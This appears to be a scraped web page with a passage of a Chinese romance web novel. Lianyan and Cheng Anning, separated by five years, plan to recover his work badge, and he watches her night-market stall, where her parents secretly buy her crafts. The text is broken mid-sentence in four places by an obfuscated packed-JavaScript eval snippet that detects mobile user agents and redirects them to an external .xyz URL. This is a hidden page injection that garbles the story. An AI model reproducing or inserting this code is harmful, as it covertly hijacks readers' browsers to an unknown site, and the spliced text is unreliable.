梁彦继续解释：“未来科技十月份要搬到清岚大道那边，目前大厦内部在进行翻新工作，一楼大厅的闸机已经置换完毕，公司内部人员可以使用工牌进出大厦。” 原来是打算让她用他的工牌进出大厦。程安宁眸光一亮，竖起大拇指赞许：“确实是个不错的办法！” 梁彦无奈一笑：“不过现在看来貌似没有用处了。” 程安宁摇头，神色若有所思：“怎么会没有用处？还是用得到的。” 顿了顿，她说出自己的想法：“既然没办法从贺明那里获取有用的信息，我们可以从其他人那里入手，比如你的助理秘书什么的，就是不知道他们目前还有没有在未来科技任职。” 梁彦微愣，“我目前还没有秘书助理，后期搬到未来科技大厦会考虑对外招聘。” 未来科技在扩大规模，今后搬到大厦，人员方面肯定要比现在多上几倍，合作的项目以及工作量肯定也会加倍增长，到时他身边确实少不了招助理帮忙。只是他现在不知道自己未来的助理是哪一个人。 程安宁淡淡点头，继续保持乐观的心态：“没有助理秘书的话，也可以找其他人。” 说到这，她想起下落不明的刘志辉，提议道：“我在想，要不你把刘志辉的地址给我吧，我到他的住处看看能不能找到人。” 梁彦觉得不行：“刘志辉有隔半年就换住处的习惯，五年后的他很有可能已经没在我所知道的地址居住了。” 说是这么说，他还是按照要求把刘志辉的居住地址打出来了。 程安宁拿起手机把地址拍下来，冲着屏幕那头信心满满地眨眼：“等我去探探，万一呢！对吧？” 见她这副俏皮可爱的模样，梁彦嘴角微扬，眼里泛起暖色：“麻烦你了，安宁。” 顿了顿，神色真诚地补上一句：“还请注意安全。” 程安宁弯起眉眼，打了个OK的手势：“我会的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817885|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 保险起见，也要做好找不到刘志辉的准备，程安宁很快又想到第二个方案：“对了，梁彦，我之前看过你的个人海报，上面写着你带领团队取得不少成就，你平日里除了跟贺明还有刘志辉这两人关系比较好之外，跟团队其他人的关系怎么样？有没有关系不错的？” 梁彦想了想，“关系不算坏，大家平时都是交流工作相关的事情。” 也就是说，关系都差不多，说不上坏，但也没有好到可以当朋友的程度，大家都只是友好的同事关系。 程安宁嘶了一声，被短暂难住了，接着忐忑发问：“那……你平时没有得罪过团队里的人吧？” 梁彦不假思索：“没有。” 他一向公事公办，没有对谁急过眼，除了在工作上有成员犯了重大错误，会单独叫到办公室严肃谈话。 “那就好。”程安宁松了口气，随后示意：“你列个团队人员名单给我，等我一个个找过去。” “好。”梁彦配合着应下，打开了通话软件自带的聊天功能，把一个个名字打上去。 程安宁很快获得一个团队人员名单，一共有十个人，但是除开梁彦他们三人的话，实际上她要找的是七个人。到时顺利进到未来科技，就可以在公司里随机逮一位员工一路打听过去了。 那么接下来面临的问题是，如何拿到梁彦的工牌。 程安宁拿起手机拍下名单，转而询问：“我要怎么拿到你的工牌？是不是要找个隐蔽的地方藏起来，然后我去你指定的地方找？比如找个偏僻的地方挖坑藏起来之类的。” 这么说来，莫名有种寻宝的刺激感。 程安宁玩心一起，顿时跃跃欲试：“我是不是得去准备一把小铲子？” 看着屏幕里她两眼放光的期待神情，梁彦轻笑出声：“不用。我想过了，藏在室外有不可预测的风险和变故，恐怕只有藏在我家里最安全。” 顿了顿，他给出理由：“我常年独居，极少有人会拜访，而且屋内的陈设我一般不会随意改动。所以我觉得可以买一个小一点的密码盒，把工牌放在里面，最后在屋里找一个地方藏好。” 闻言，程安宁踊跃发问：“那么问题来了，请问我没有钥匙，要怎么进你家？” 梁彦解惑：“我打算换一个半自动智能门锁，耗电方面会比较慢，等换好了就告诉你密码。” 程安宁点点头，又提出疑惑：“可是，就算耗电慢，电池续航方面也是有限的，没办法撑到我现在这个时候吧？” 梁彦耐心回答：“这一点我想过了，我会拜托朋友帮忙，让他到时候每隔一段时间去换一次电池和检查门锁的情况。” 每个问题都有应对的办法，程安宁惊讶他的细致之余，语气好奇：“哪个朋友？” 梁彦神情若有所思，说出自己的想法：“你今晚说，贺明提到刘志辉有两年没到医院看我了。我想验证这句话是真是假，所以打算把这个任务交给志辉。” “如果锁能够正常打开的话，说明刘志辉有在履行承诺。” 这也就侧面验证了贺明的话不是真的。 毕竟一个会定期帮忙检查朋友家门锁的人，怎么可能没有到医院看望朋友呢？ 程安宁恍然大悟：“你的意思是，刘志辉不可能整整两年没去医院看望你吗？” 33.33 梁彦点头低嗯，声音冷静而坚定：“按照我对他这个人的了解，是的。” 见他这么自信，程安宁欲言又止，不好做出扫兴的猜测。 梁彦自然想到另一种结果，已经做好了应对方案：“如果确定门锁没办法打开的话，就实行第二个方案，找开锁师傅把锁拆了。” 原来连这一层也想到了。程安宁神色诧异，会意点头，“行，我明白了。” 目前的困境有了相对明朗的解决办法，程安宁这才放下心来，感叹道：“有人可以商量事情的感觉真好。” 确切地说，得亏她和梁彦属于同一类人，这样交流起来才不费劲，双方每天会自觉汇报事情的进展，认真倾听对方的提议并认同，还能在一些事情上及时给出解决办法，相互打配合。 但凡两人之间有一个是强势且过于自我的人，只会一味地否定对方和要求以自己的事情优先，沟通是很难进行下去的。 梁彦嘴角微扬，深有同感地点头。 程安宁摸到还带着湿意的头发，主动开口告退：“我要吹头发了，今天就聊到这儿了，你可以继续忙自己的事情了，拜拜。” 梁彦一愣，动了动嘴想要说什么，但很快冷静下来，反应如常：“嗯，拜拜。” 程安宁挥了挥手，眉眼微弯：“早点休息，晚安。” 说完，她自觉关闭桌界面。 娇俏生动的身影从屏幕上消失，梁彦眼里的笑意随之褪去，抬手揉了揉眉心。 明明两人聊的时间不算短，他刚刚却在听到程安宁想要下机的时候，不自觉地想要找话题挽留，这不像他平日里会做的事情。 他好像……变得有点奇怪，而这种奇怪只体现在跟程安宁相处的时候。 - 商量好对策，接下来就是两人在各自的时空做出行动。 平日里梁彦早上出门就是直奔公司，今天这个固定行程有了变化。 一大早，他站在一处屋门前，拿着手机拨通一串号码，言简意赅：“开门，我在你家门口。” 手机那端安静一瞬，接着爆出一句国粹后，是不可置信的男声：“真的假的？我不是在做梦吧？” 梁彦语气淡淡：“开门就知道了。” 话落，屋内响起一阵急促的脚步声，并且愈发清晰，能够听出正朝门口这边逼近。 “砰！”下一刻，屋门打开，一张睡眼惺忪的脸从门后探出来，还顶着一个凌乱的鸟窝头。 一道熟悉的身影冷不防撞入视线，刘志辉瞬间像被打了一剂清醒剂，瞪大双眼问：“彦哥，你怎么跑我这儿来了？” 梁彦抬手看了眼腕表，一本正经道：“上班前串个门。” 顿了顿，看了眼他身后问：“方便让我进去坐坐么？” 对于他的反常举动，刘志辉一脸匪夷所思，但还是很爽快让出一条路：“当然了。” 梁彦很快进屋，往客厅的方向去，转头扫了一眼四周。 刘志辉关上门紧随其后，见他东张西望像在找什么似的，心里顿时有了猜测。 他怀疑梁彦上班路上突然肠胃不适，跑他家借厕所来了，只是好面子说不出口。 于是，上道的刘志辉主动提醒：“彦哥，厕所在右边。” 梁彦有些莫名地回头看了他一眼，同时问道：“屋里还有其他人么？” 刘志辉耸肩：“我孤家寡人一个，还能有谁啊？” 顿了顿，他又忍不住发出疑问：“你不上厕所吗？” 梁彦径直走进客厅，余光见他跟过来了，开门见山问：“志辉，你是不是真的把我当朋友？” 刘志辉还在等他回话，突然被这么问，脸上泛起困惑：“啊？不就是借个厕所吗？还要上升到怀疑友情的地步吗？” 梁彦回头，言简意赅：“你只需要认真回答我这个问题。” 刘志辉没辙，信誓旦旦地拍着胸口：“我俩的关系还用说吗？我们怎么说也算是过命的交情，我完全把你当亲兄弟看待的，随时能为你两肋插刀的那种！” 说着，他嘴角抽了抽，神色微妙：“话说，你一大早过来不会是为了证实我有没有把你当朋友吧？” 梁彦没有理会他的打趣，继续说下去：“我有件重要的事情要拜托你，并且这件事情除了你我之外，不能告诉第三人，只能是我们两人之间的秘密。” 原来是过来跟他谈正事的。刘志辉立刻敛起嬉皮笑脸的模样，“行，你说。” 梁彦直言道：“我最近打算给我家换个门锁，到时我会告诉你密码。如果未来的某一天我出了意外，我需要你定期到我家检查我的门锁，并且更换电池，确保它能够处于正常使用的状态。” 刘志辉听得一脸懵，“等等！为什么要做这种假设？” 梁彦移开视线看向别处，语气淡淡：“现在说不明白，你只要记住我吩咐的事情，到时自然会清楚的。” 刘志辉挠了挠鸡窝头，“不是，你这个事情太莫名其妙了。” 与其说是被害妄想症，倒不如说是预知到了自己的未来似的。 梁彦神色严肃，重申：“如果你真的把我当朋友的话，一定要记住。” 刘志辉明白他的性子，知道再问也问不出什么，只好无奈点头：“行行行，我知道了。” 梁彦的目光落在不远处高级配置的台式电脑，这是刘志辉最宝贝的装备，经常能够看到他发朋友圈炫耀。 这一整套装备小到颜色，大到各种零配件硬件，都是按照他自己的喜好组装而成，每一次搬家刘志辉都会仔细打包，然后亲自运送到新住处，所以这套电脑是不可能随意更换或者丢弃的。 想到这，梁彦眸底闪过一抹异色，挪步走上前：“借用一下你的电脑。” 被他一大早来这么一出，刘志辉彻底没了困意，转身丢下一句：“你随意。我先去洗漱了，一会儿一块儿去公司。” …… 另一时空，程安宁也在付诸行动。 只是，在按照梁彦昨晚给的地址找过去时，那里住着一家四口，已经不是刘志辉的住处了。 从人家租客那里要来了房东的联系方式，程安宁问起知不知道先前的租客刘志辉搬到哪里。 房东是上了年纪的老人，表示这个房子换了好几个租客，早就记不清了。 仅有的办法宣告无效，程安宁只好选择放弃。 目前她能做的已经做了，接下来就是等梁彦那边的行动，然后她才能继续进行其它计划。 搭公共汽车返程的路上，公共汽车经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823258|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来科技大厦。 透过车窗，程安宁看到那幢气派高耸的大厦，微微恍神。 如果梁彦没有遭遇车祸，现在的他应该就坐在里面继续打造他的商业帝国，当一位炙手可热的商界大佬。 而她……如果家里没有遭遇重大变故的话，她的父母依旧恩爱甜蜜、身体康健，她则按照原有的人生规划，在国外一所喜欢的大学进修，然后继续当着妈宝女和爸宝女。 两人的生活原本像两条各自延伸的平行线，没有任何交集。现在两条平行线的位置出现了偏移，交叉在一起。 等双方扭转命运，两条线会重新回正，她和他会迎向不同的人生，那么是不是也意味着，他们会忘了彼此？ - 嘱咐刘志辉有关门锁的事情已经顺利完成，梁彦想到了另外一个能够侧面帮助到程安宁在另一时空好办事的办法。 下午开会结束，梁彦趁着人齐当众宣布：“今晚的晚餐我请客，想去哪家餐厅、想吃什么都可以提。” 这还是他第一次主动组织集体活动。贺明和刘志辉闻言诧异，不约而同看向他。 团队里的其他人顿时来了精神，好奇问道：“是团建聚餐吗？平时不是贺总负责给大家宣布公司福利吗？今天怎么是由梁总开口？” 梁彦解释：“今天不是公司福利，是我个人要请大家吃饭。” 话落，没等大家做出反应，他继续道：“大家应该还不知道我交了女朋友吧？这是件值得庆祝的事情，所以我想请大家吃顿饭。” 这句话宛如惊雷在人群中炸开，一时间，激动且八卦的说话声充满整个会议室： “我靠！是什么时候的事情？” “我们梁总不愧是闷声干大事的人，就这么悄咪咪谈了恋爱。” “恭喜我们梁总脱离黄金单身汉队伍，我们贺总和刘总可要加油啊！” “确实是一件值得庆祝的事情，今晚必须大吃一顿，大家别跟我们梁总客气啊！” “……” 调侃声不断，梁彦面不改色，爽快点头：“嗯，不用跟我客气。” 贺明看在眼里，转头看向旁边的刘志辉，低声道：“梁彦会不会太夸张了？只是谈了个网恋对象，这都要对外宣布和请客？” 刘志辉无奈扬眉，摸了摸胳膊上冒起的鸡皮疙瘩：“虽然是网恋，但是能做出这样的打算，说明他把网恋当成正经恋爱在谈。” 他也没想到梁彦会认真到这种地步，居然大大方方地在其他人面前官宣了。 不过梁彦这个人一向让人捉摸不透，今早才跟他说了莫名其妙的话，现在能做出这样的事情也正常。要是哪天突然宣布说要结婚，他可能都不会有太大的反应了。 与此同时，有人好奇问道：“梁总你今晚打算请大家吃顿饭，你女朋友是不是也会到场？” 他们可太想知道是什么样的女人能够俘获梁彦的芳心了，这简直是奇迹！ 此话一落，众多视线齐刷刷落在那道颀长的身影上。 梁彦等的就是这句话，随即说出早就准备好的托辞：“我女朋友有事情要忙，很遗憾没能到场，让我好好招待大家。” 顿了顿，他拿出手机：“不过我有她的照片，你们想看的话，可以过来看看。” 34.34 一时间，除了贺明和刘志辉以外的人一窝蜂涌到梁彦身边，脸上难掩八卦的神情。 梁彦翻出手机上的照片，是他从程安宁先前给他发的那段日常视频里截图的，画质还算清晰，是程安宁脸带笑意看着镜头的画面，明艳动人。 贺明和刘志辉就坐在原位，看着他们把梁彦团团围住，然后听取哇声一片。 “哇！长这么漂亮！” “怪不得要赶紧公开，生怕不说出来这是你女朋友会被别人抢走对吧？” “哈哈哈可把我们梁总紧张坏了！” “该不会下一步就要拿女朋友的照片当头像吧？” “你别说，我看我们团队里好几个人有对象的都拿女朋友当头像，每次找我说工作上的事情我看到头像还以为春天来了。” “啧啧啧，这些爱臭显摆的家伙！” 听着周围其他人的对话，梁彦神色若有所思，随后垂下握着手机，出声示意：“就这样说定了，你们有什么想去的地方发到工作群里投票，最后得票数最多的餐厅作为今晚的晚餐地点。” 见他手机收起来了，大家识趣散场：“OK！” 回到办公室，梁彦重新拿出手机，打开自己的工作账号。 刚才有人无意间给他提供了新思路，那就是把程安宁的头像设置为他工作号的头像。 这样一来，只要他顶着程安宁的头像，就可以慢慢加深大家对那张脸的印象。等程安宁在她自己的那一个时空找上他们，只要提上一嘴，大家多多少少会有点印象。 希望那个时候，大家能够看在他的面子上配合她、帮助她。 …… 傍晚的聚餐时刻眨眼间来临。 地点是一家音乐餐吧，大家都说要放松一下，并且获得了今晚的免加班许可。 菜单上的菜和酒水全都点了一遍，没一会儿便把餐吧里最大的一张长桌占得满满当当。 一行人有说有笑，尽情放飞自我大吃大喝，甚至自发玩起一些小游戏。 身为今晚的主人公，梁彦在大家的起哄下象征性地喝了一杯。 晚餐进行了一个小时左右，梁彦已经吃饱了，对其他人来说却只是刚开始。 桌上不少菜品只被动了一点，大家都专注着听歌喝酒说笑，还没有要正式动筷的意思，不过待在如此喧闹的环境社交，对梁彦来说已经到了忍耐极限。 他起身拉开椅子，开口道：“我还有事情先走了，你们继续玩，账我已经结了，还想要点什么的话可以尽管点，我会报销。” 闻言，有人打趣：“梁总肯定要去陪女朋友了。” 其他人纷纷接话： “你放心去吧，我们不会亏待自己的。” “替我们跟嫂子问声好啊！” 梁彦没有接话，只是微微一笑，同时不忘冲坐在对面的贺明和刘志辉轻点下巴，算是打声招呼说自己要走了。 这是属于三人之间的默契。 两人会意点头，刘志辉打了个OK的手势。 目送那道挺拔的身影离开，贺明随即问道：“志辉，你看到梁彦换了新头像吗？” “看到了。”刘志辉一脸淡定地对上他不可思议的目光，拍了拍他的肩膀：“你也该习惯他出其不意的做事风格了。” 带着一身难闻的酒气从餐厅离开，梁彦看着自己的车，最终选择在线上找代驾。 虽然他没醉，但毕竟还是喝了酒的，身上还沾着其他人的酒气。 代驾很快抵达。 把车钥匙交给代驾后，梁彦上了车。 代驾也坐进车内，在前面的驾驶座上问：“梁先生，跟您确认一下，我们是要到东林区的朗月居对吧？” 梁彦闻言一愣。 他刚才输入地址的时候，居然不自觉把程安宁家的地址输进去了。 他可能是真的喝醉了吧。 代驾没听到回答，又喊了他一声：“梁先生？” 回过神，梁彦低嗯一声：“对，地址没错。” 因为今晚要聚餐，他已经提前在电脑上给程安宁留言说会晚点上机。 他记得程安宁提起过，五年前的她会在别墅区附近的一个夜市摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825493|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊。 那么，去看看吧，顺便散掉身上的酒气。 “好的。”代价会意点头，很快便启动车辆驶离原地。 待到抵达目的地，已经过去了一个小时左右。 梁彦让代驾把车停在别墅区外的路边划分的停车位，随后走向别墅区门口的保安亭，打听最近的一个夜市。 得到回答，他按照指引找过去，果然看到一处灯火辉煌的夜市。 各类小摊自带各种亮闪闪的小挂灯吸引注意，可能时间还早的缘故，逛夜市的人寥寥无几。 梁彦走了一段路就已经拒绝了不下十次的热情推销。 不怪大家盲目推销，而是他为了找到程安宁所在的目标摊位，目光会左右乱扫，于是被人误解为有想购买的倾向。 找了半个小时，梁彦几乎快把夜市逛完了，才在夜市尽头一个不起眼的角落看到两道熟悉的身影。 他在不远处停下脚步，少女穿着清爽的杏色长裙，头上系着一个碎花针织方巾，甜美靓丽。 她站在摊位旁，一手拿着小巧的手持风扇对着脸吹风，一手整理着小推车上的东西。 少年嬉皮笑脸地站在她身边，一副很悠闲的样子，一直动着嘴皮子不知道说些什么，完全没有搭把手帮忙的意思。 梁彦眸光一暗，改步绕到距离他们摊位最近的一个卖网红甜品的小摊坐下。 他可能是真的喝醉了，不然为什么看着就有股烦躁的情绪让他莫名觉得火大？ 胡乱点了一份甜品，梁彦也听到了他们的说话声。 “安宁，要不我们回去吧？天气这么热，今晚又没有什么风，反正左右卖不出去，还不如收摊回家算了。”是少年的劝说声。 梁彦深呼吸一口气，默默收紧身侧的手，悄然侧目。 十八岁的程安宁神色微恼，推了少年一把：“你好烦！你就是个负能量传播者，你给我回去！” 少年死皮赖脸地回到原来的位置，神色无辜：“我怎么能把你一个人丢在这里呢？哥哥我像是这么没良心的人吗？都说了我每天会陪你到收摊。” 35.35 程安宁忍不住白了他一眼，果断拒绝：“不需要，我一开始就打算自己摆摊，不知道是谁非要跟过来添乱！” 楚逸无奈耸肩，语气带着散漫的调笑：“哪里添乱了？又没有人光顾，我就算想添乱也添不了啊。要我看啊，你就乖乖接受我的建议，把这些全卖给我，这样就可以早点收摊回家了。” 本来就因为没有人光顾而心焦，程安宁这会儿听到他的话更加抓狂，伸出手就要给他一拳：“气死我啦！你给我回去！” 楚逸哈哈大笑，轻松避开她挥过来的拳头：“好好好，我不说了。” 程安宁别过脸轻哼一声，不想搭理他。 楚逸站在旁边，低头悄然看着她气鼓鼓的可爱模样，咧嘴无声偷笑。 梁彦沉着脸，坐在不起眼且昏暗的角落听着、看着他们的一举一动。 他看得出来，楚逸在故意逗程安宁生气，那是一种再明显不过的小男生心思，通过逗喜欢的女孩子生气来获取人家的注意，他以前十七八岁的时候，也见过其他男生对女生们做出这种愚蠢的举动。 甜品摊的老板走了过来，把新鲜出炉的舒芙蕾放到桌上让他慢用。 突然被挡住视线，梁彦回过神，点头低声说了谢谢。 老板很快离开，他的视线范围又恢复如常。 不远处，程安宁无意间转头，看到身旁的楚逸脸上挂着迷之微笑，皱眉发问：“你在笑什么？” 楚逸笑眯眯开口：“我只是想起以前一件很好笑的乌龙事件，是跟你有关的。” 程安宁皱眉询问：“什么啊？我怎么不记得有什么乌龙事件？” 楚逸帮她回忆：“你忘啦？我们以前遇到一个小孩子独自在路边哭，你报警喊来警察说人家小孩迷路了，我们和警察一起带着孩子找了一圈，结果人家妈妈找过来，说只是让孩子在家门口罚站，结果出来不见人，吓得魂都飞了。” 闻言，程安宁恍然大悟，脸上飞快闪过一丝窘迫。 真不怪她以为人家迷路了。 那会儿小孩子一直站在那里哭着喊妈妈，她上前问了人家小孩各种问题，比如他的父母在哪里、知不知道爸爸妈妈的联系方式，以及家在哪儿、他怎么会在这里之类的问题，但小孩不语，只是一味大哭。 那种时候她能想到的就只有求助警察。警察到了之后，他们带着孩子找了一圈，问遍周围路过的人，最后绕回原来发现小孩子的位置，人家妈妈就站在那里急哭了，而小孩原本站的位置就是他的家门口。 思绪回笼，程安宁尴尬轻咳，“虽然但是，那个时候人家夸我热心，警察叔叔也夸我有这样的警觉意识很不错！” 楚逸轻笑，敷衍着附和：“嗯嗯，你可太热心了，简直是热心过头了。” 顿了顿，又开始翻起她之前的热心“案例”：“之前我们上完补习班回家路上，你碰上一家三口跟我们借钱，说是出来玩结果钱包弄丢了，手机没电，他们和小孩子饿得不行，想跟我们借一百块在附近吃顿饭，还说可以留个联系方式，回去转账还钱，你一听就毫不犹豫给了人家两百块现金，我拦都拦不住。” “最后你回家联系人家，发现那个号码无法接通，你还记得这个事情吗？” “还有一次，我们逛超市，你看到有人偷手机，大声制止，还喊上周围的路人一起追着小偷跑，还联合几个路人大哥一起把人死死按在地上，最后被偷手机的那个人出面解释说只是朋友间在闹着玩。” “还有还有，之前……” 程安宁小脸一恼，捂住耳朵打断他的话：“别说了！你真的好吵！” 见她恼羞成怒，楚逸笑得更加来劲：“别人是吃一堑长一智，你是吃一堑再吃一堑再吃一堑再吃一堑……” 说到这，他伸手揉了揉她的脑袋，同时趁机犯贱抓乱她的头发，语气感慨：“你说这世上怎么会有程安宁这种热心又好骗的人呢？要是没有我在你身边盯着你、保护你，你要怎么办呐？” 程安宁嘴角抽了抽，抓开他犯贱的爪子，“不劳你费心，没你我照样很好，反正我问心无愧就行！” 闻言，楚逸悻悻敛起笑意，弯腰哄道：“哎呀，别这么说嘛，给我点面子。” 与此同时，旁边甜品摊的梁彦第N次压下了想起身离开的想法，沉默地坐在原地，心里萦绕的那股烦躁久久不散，甚至愈发强烈，强烈到想上前把那个碍眼的家伙赶走。 当然，这是不现实的。 十八岁的程安宁有她自己的生活和经历，跟他没有任何关系，所以他不能接触十八岁的程安宁，以免一不小心产生什么变动，导致另一时空的程安宁的记忆受到影响。 最好的办法是他自觉选择走人，不让自己烦心，可是听到自己所不了解的有关程安宁的事情，他又忍不住想继续听下去。 不远处的闲聊声断断续续，不久有一群人到了摊位前，似乎是认识的朋友，双方高兴地打着招呼，接着便是程安宁积极推销自己钩织的小物件。 一行人在摊位前有说有笑，半小时后总算成交一件，人群也随之离开。 摊前回到原有的静谧。 梁彦垂眸，盯着桌上未开动的舒芙蕾发呆。 早在甜品摊坐下的时候，他就想过要不要找个人帮忙买下程安宁摊位上的所有东西。 但是想起程安宁跟他提起过，她的父母曾找人装顾客买下她所有东西的事情，他觉得自己不应该随意改变程安宁的这段珍贵回忆。 “是不合胃口吗？”愣神间，甜品摊的老板来到他的桌前发出疑问。 梁彦下意识抬眼，正对上老板关切的目光，反应过来后解释道：“晚餐吃多了，我还是打包带回去吧。” 他一直坐在这里没有任何举动，再待下去估计不止引起甜品摊老板的注意了。 老板松了口气，热情地拿起那份甜品转身：“好的，我帮您打包！” 甜品很快打包完毕，梁彦接过袋子，目光假装不经意间扫过旁边近在咫尺的小摊，看到程安宁在重新整理被弄乱的东西，身旁的少年拿着手持小风扇在两人的脸上来回吹，脸上依旧挂着他觉得碍眼的笑。 收回视线，梁彦起身离开那个昏暗且不起眼的角落，往原路返回。 这个时间点，逛夜市的人开始多了起来。 梁彦穿梭在人群中，挺拔出众的外形暴露在夜市明亮的灯光下，收获了不少回头率和搭讪，不过都被他以“有女朋友”拒绝了。 在他绕开一处人群继续往前走时，目光一下子就瞥见了前方人潮中两道熟悉的身影。 是程安宁的父母。 此刻，他们正靠边站在一个鲜榨果汁摊位旁边，跟一个年轻的女生说话，神情认真且专注，像在商讨什么重要的事情。 梁彦微愣，眸底闪过一抹思量，随后不动声色地靠近他们，装成光顾旁边果汁摊的顾客，开口道：“你好，要一杯橙汁。” “好嘞，稍等。”果汁摊老板会意应下，开始动手榨汁。 梁彦站在摊前等待，竖起耳朵留意旁边的动静，余光也在观察着她们。 “就按照我刚才说的去做就可以了。”程母还在跟年轻女生说着话，声音亲切温柔。 年轻女生身上系着和果汁摊老板一样的黑色围裙，不难看出是同个摊位的。 她点点头，解开身上的围裙随手放到果汁摊的架子上，再次确认道：“然后我买了所有的东西就回来跟你们会合是吗？” “对的。”程父边说边从皮夹里拿出三张百元大钞递给她，神色真诚：“麻烦你了小姑娘，剩下的就当你的辛苦费了。” 程母点头附和：“拜托你了。” 年轻女生笑着摆手：“小事而已，你们光顾一下我们摊位的生意就行了。” 顿了顿，她接过现金，转身离开：“我去了，等我消息。” 梁彦看在眼里，心里明了。 没想到他今晚正好碰上程安宁的父母找人假扮顾客买下程安宁的东西。 与此同时，程父叹了口气，抬手抹去眼角微微闪烁的泪光。 程母见状失笑，打趣道：“至于吗？不知道的还以为你怎么了，不过是女儿出来体验生活摆摊，卖点自己手工做的钩织物件，这样就心疼哭啦？” 程父无奈摇头，反驳：“你还说我？不知道是谁在知道宁宁要摆摊的时候，背地里开始替她担心这担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850431|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那，愁得整夜睡不着觉，还偷偷哭了。” 程母一噎，尴尬地看了一眼四周，提醒道：“你别说这么大声。” 这种心疼且担忧的感觉曾在程安宁小时候准备上幼儿园时出现过，那会儿两人还总是跑到幼儿园偷偷看孩子。 看着孩子第一天上幼儿园坐在教室里因不适应而默默擦眼泪，他们也在教室门外泪眼汪汪，把路过的园长吓一跳。 后来不到一周，孩子适应了幼儿园，他们却还是不适应，为此夫妻俩还被亲朋好友嘲笑两人太粘孩子了。 两人随之旁边的靠近摊位。 程父开口示意：“小伙子，给我们来两杯果汁。” 老板正在打包榨好的橙汁，闻言，热情招呼：“好嘞，要什么果汁？我们这里芒果橙子西瓜牛油果什么都有。” 程父看到玻璃柜里的柠檬，饶有兴致道：“还有柠檬呢，我女儿小时候就有一个外号叫小柠檬，我和她妈妈还在院子给她种了一棵柠檬树，结出的果子跟你这些柠檬一样大。” 老板笑着回应：“是嘛，那要来一杯柠檬水还是柠檬茶吗？正好适合夏天，清爽又解渴。” 程父点头：“那就给我来一杯柠檬水吧，加茶水的我怕晚上会睡不着，下次再光顾。” 说着，他看向旁边的程母问：“老婆，你要喝什么？” “我喝西瓜汁吧。”程母不假思索，顿了顿，继续道：“再要两杯西瓜汁吧，我一会儿给两个孩子送过去，就说闲着没事过来看看他们。” 顿了顿，她不忘提醒：“老公，你待会拿上东西先回家收好，千万别被宁宁看到了。” “行。”程父会意应下，看向摊位老板点单：“小伙子，我们要一杯柠檬水、三杯西瓜汁。” “没问题，马上！”老板边说边把打包好的橙汁递给摊前的另一身影：“帅哥，这是你的橙汁。” “好的，谢谢。”梁彦伸手接过，另一只手拿出手机扫码付款。 程父程母这才注意到旁边的顾客，出于习惯看了一眼。 程母诧异，用只有两人听得到的声音道：“老公，旁边这小伙子还蛮帅的，长得跟那种走秀的模特一样。” 程父挑剔地移开视线，语气淡淡：“还行吧，跟我年轻时候有得一拼。” 程母轻笑，“少来，小心被人听了笑话你脸皮厚！” 与此同时，梁彦目不斜视，继续扮演顾客的身份临时加单：“你好，我再要一杯柠檬茶打包带走吧。” 在程父程母身边，他能侧面了解到程安宁的其它事情，所以想在这里多停留一会儿。 老板已经在动手切柠檬，闻言，抱歉笑笑：“好的。不过您现在需要等一下，我要先做完叔叔阿姨这一单。” 程父程母一向好说话，这会儿听他这么说，随即礼让：“没事没事，我们不急，先给这个小伙子做吧。” 梁彦转头看向他们，礼貌微笑：“没关系，我也不急，就按顺序来吧。” 程母回以一笑，按耐不住好奇心问：“小伙子，你是模特对吧？” 梁彦淡淡摇头：“不是。” 程母又问：“那是演员吗？” 梁彦语气谦逊：“也不是，只是普通人。” “这样啊……”程母神色诧异，“我看你的外形，还以为是明星或者模特呢。” 一旁的程父搭上话：“说起明星这个事情，我想起我们宁宁以前在街上被星探发掘过，只不过她不感兴趣。” 说话间，果汁摊的老板娘回来了，手里多了一袋东西：“来！东西全都买了，你们女儿也没有怀疑我，一切顺利！” 程父程母随即把注意力转向她，从她手里接过袋子：“太感谢你了！” 老板娘摆摆手，“不客气，她已经在收摊准备回家了，我把你们女儿找的零钱也放在袋子里了，你们记得收好。”” 说完，她见自家老公在忙活，随即回到他身边帮忙打下手。 程父程母则拉开袋子翻了翻里面的东西，确认自家女儿做的钩织物件全在里面后，心里的大石头落下。 